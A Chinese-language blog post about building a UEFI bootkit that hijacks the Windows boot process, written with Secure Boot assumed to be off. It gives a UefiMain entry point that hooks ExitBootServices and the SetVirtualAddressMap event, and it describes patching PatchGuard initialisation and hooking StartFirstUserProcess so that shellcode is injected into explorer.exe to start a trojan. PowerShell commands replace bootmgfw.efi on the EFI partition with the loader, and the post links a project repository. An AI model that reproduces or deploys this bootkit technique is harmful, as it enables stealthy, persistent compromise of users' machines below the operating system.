UEFI Bootkit 下 Windows 启动过程

发布于 2024-09-02 19:38:26 字数 7468 浏览 15 评论 0

好久没写博客了发一篇笔记

MBR Bootkit 不在叙述写这个的还是比较多的,UEFI Bootkit 相较于 MBR Bootkit 从某种意义上来说开发要更为方便因为 UEFI 具有统一规范可以直接使用 C/C++上手开发。

在正式介绍前先来简单说一下 UEFI 下 Windows 启动过程

Pasted image 20211013115430.png

  1. 基本过程如下
    PC 开机,加电自检固件 UEFI 加载执行,初始化硬件
  2. 固件 UEFI 根据启动项从 EFI 分区中加载并启动 \EFI\Microsoft\boot\bootmgfw.efi (Windows boot manager)
  3. bootmgfw.efi 加载启动 Winload.efi(Windows Os loader)
  4. Winload.efi 加载执行 Ntoskrnl.exe 并将控制权移交给操作系统

我们此次开发的 Bootkit 从第二步入手直接替换 bootmgfw.efi,为我们的 loader,这个 loader 只有一个功能执行我们的 UEFI 驱动。我们的 UEFI 驱动在后门环境部署完成后回去加载执行原始的 bootmgfw.efi 进入正常的 Windows 引导流程(我们以上内容皆在 Secure Boot 关闭状态下为前提,如果 Secure Boot 开启会在执行我们的 loader 的时候就卡死因为签名校验不过)

UEFI 驱动入口点如下

EFI_STATUS EFIAPI UefiMain(EFI_HANDLE ImageHandle, EFI_SYSTEM_TABLE* SystemTable)
{
EFI_STATUS status;
//CalculateCrc32
originalExitBootServices = gBS->ExitBootServices;
gBS->ExitBootServices = HookExitBootServices;

//注册事件回调,在 os loader 调用 SetVirtualAddressMap 时通知我们
//根据 Edk2 文档可以选用 CreateEventEx 配合 gEfiEventVirtualAddressChangeGuid 或 EVT_SIGNAL_VIRTUAL_ADDRESS_CHANGE
//SetVirtualAddressMapEvent
status = gBS->CreateEvent(EVT_SIGNAL_VIRTUAL_ADDRESS_CHANGE, TPL_NOTIFY, NotifySetVirtualAddressMap, NULL, &virtualEvent);
if (status != EFI_SUCCESS)
{
DebugPrint(L"CreateEvent err");
}

EFI_DEVICE_PATH* BootmgfwPath;
EFI_HANDLE BootmgfwImageHandle;
//转换路径
UtilLocateFile(BootmgfwDiskPath, &BootmgfwPath);
//加载 bootmgfw.efi
status = gBS->LoadImage(TRUE, ImageHandle, BootmgfwPath, NULL, 0, &BootmgfwImageHandle);
if (status != EFI_SUCCESS)
{
DebugPrint(L"LoadImage No bootmgfw.efi");
}
//启动
status = gBS->StartImage(BootmgfwImageHandle, 0, 0);

return status;

}

我们首先 HOOK 掉 ExitBootServices 因为此处是一个关键函数。

在 Winload.efi 中会对这个函数进行调用,此函数的作用是结束启动服务(EFI Boot Service)标志着操作系统已经准备就绪, 官方文档

Pasted image 20211013124049.png

我们 HOOK 这里的目的是为了寻找被加载到内存中的 ntoskrnl。为了寻找到 ntoskrnl,我们需要先找到 LOADER_PARAMETER_BLOCK 这个结构体存储着所有的模块信息(具体请参照 OslLoaderBlock 函数)找到之后我们就可以开始遍历

Pasted image 20211013125400.png

随后搜索内核中的 KeInitAmd64SpecificState 函数这个是 PG 初始化执行的函数我们需要对它进行修补

Pasted image 20211013125553.png

Pasted image 20211013125939.png

继续搜索 StartFirstUserProcess 函数,这函数在内核中负责启动 SMSS 进程,但是我们并不能在这里直接 HOOK 它因为此时我们还处在物理地址,而 StartFirstUserProcess 函数在保护模式是虚拟地址等会系统启动我们需要转换后才能 HOOK,我们这里只记录一下函数地址

Pasted image 20211013130708.png

在 UefiMain 函数中我们曾设置了一个回调函数 NotifySetVirtualAddressMap,当 os loader 调用 SetVirtualAddressMapEvent 函数就会通知我们此时我们就可以在 NotifySetVirtualAddressMap 函数中通过 ConvertPointer 转换物理地址与虚拟地址对 StartFirstUserProcess 函数进行 hook

Pasted image 20211013131441.png

剩下的就等待内核调用 StartFirstUserProcess,然后我们创建一个系统线程去执行操作并调用原始的 StartFirstUserProcess 函数

Pasted image 20211013131612.png

在 KernelMainThread 线程里我们主要操作就是设置一个进程回调

Pasted image 20211013131731.png

Pasted image 20211013145450.png

设置进程回调的目的是等待用户登录时创建 explorer.exe 进程,当截获后我们就可以向其中注入 shellcode

替换文件

PS C:\Users\Admin\Desktop> Get-Volume | Select DriveLetter, FileSystemLabel, FileSystemType, Size, Path | Format-Table -Autosize

DriveLetter FileSystemLabel FileSystemType Size Path
----------- --------------- -------------- ---- ----
FAT32 205520896 \\?\Volume{5c8da14f-26c0-47cd-a477-74579d52e3c8}\
C NTFS 85553311744 \\?\Volume{6a0f8490-1d99-448e-9c21-9016ebc6113f}\
D Unknown 0 \\?\Volume{89e0f2f6-d4fc-11eb-a1ef-806e6f6e6963}\

选择 FAT32 分区

PS C:\Users\Admin\Desktop> cmd /c rename "\\?\Volume{5c8da14f-26c0-47cd-a477-74579d52e3c8}\EFI\Microsoft\Boot\bootmgfw.efi" "bootmgfw2.efi"
PS C:\Users\Admin\Desktop> cmd /c copy Test.efi "\\?\Volume{5c8da14f-26c0-47cd-a477-74579d52e3c8}\EFI\Microsoft\Boot\" /Y
已复制 1 个文件。
PS C:\Users\Admin\Desktop> cmd /c copy load_test.efi "\\?\Volume{5c8da14f-26c0-47cd-a477-74579d52e3c8}\EFI\Microsoft\Boot\bootmgfw.efi" /Y
已复制 1 个文件。

当用户登录时会自动向其中注入 shellcode 启动木马

Pasted image 20211013132128.png

Pasted image 20211013134636.png

项目代码

https://github.com/WBGlIl/Test_UEFI

编译请替换 samples.default.props 文件中的 EDK_PATH 和 LibraryPath

目标系统版本:Windows 21H1

总结

UEFI Bootkit 木马的一大难题在于 Secure Boot,上面我们演示了非固件类的 UEFI Bootkit,固件的类的 UEFI Bookit 可以做到即使更换硬盘都不会失效极其隐蔽但是固件 UEFI 需要写入 SPI,这需要绕过多种保护措施但是一旦成功效果会非常好

相关参考

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据

关于作者

≈。彩虹

暂无简介

0 文章
0 评论
23 人气
更多

推荐作者

linfzu01

文章 0 评论 0

可遇━不可求

文章 0 评论 0

枕梦

文章 0 评论 0

qq_3LFa8Q

文章 0 评论 0

JP

文章 0 评论 0

    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文